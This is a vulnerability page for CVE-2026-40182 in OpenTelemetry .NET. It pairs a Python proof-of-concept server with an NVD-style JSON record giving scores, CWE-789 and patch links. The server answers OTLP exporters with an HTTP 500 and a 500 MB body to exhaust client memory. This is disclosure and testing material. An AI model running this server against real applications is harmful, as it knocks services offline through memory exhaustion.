CVE-2026-40182

# This is a simulation of a malicious backend server that triggers the vulnerability. # It listens for connections and returns an HTTP 500 response with a massive body. import socket def malicious_server(): host = '0.0.0.0' port = 4317 # Default OTLP gRPC/HTTP port often used server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"Malicious server listening on {port}...") while True: client_socket, addr = server_socket.accept() print(f"Connection from {addr}") # Receive request (ignore content) client_socket.recv(4096) # Construct a large malicious payload (e.g., 500MB) # This simulates a response designed to exhaust memory large_payload = b"A" * (500 * 1024 * 1024) # Send HTTP 500 Response headers response_headers = ( "HTTP/1.1 500 Internal Server Error\r\n" "Content-Type: application/x-protobuf\r\n" f"Content-Length: {len(large_payload)}\r\n" "\r\n" ) client_socket.sendall(response_headers.encode()) print("Sending headers...") # Send the large body client_socket.sendall(large_payload) print("Sent large payload. Memory exhaustion likely triggered on client.") client_socket.close() if __name__ == "__main__": malicious_server()

{"cve": {"id": "CVE-2026-40182", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:28.130", "lastModified": "2026-04-29T13:52:26.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry dotnet is a dotnet telemetry framework. From 1.13.1 to before 1.15.2, When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response. This vulnerability is fixed in 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:*", "versionStartIncluding": "1.13.1", "versionEndExcluding": "1.15.2", "matchCriteriaId": "5539A01E-6E54-4AE2-8D72-6E5C15C01C61"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-q834-8qmm-v933", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/open-telemetry/opentelemetry-proto/pull/781", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}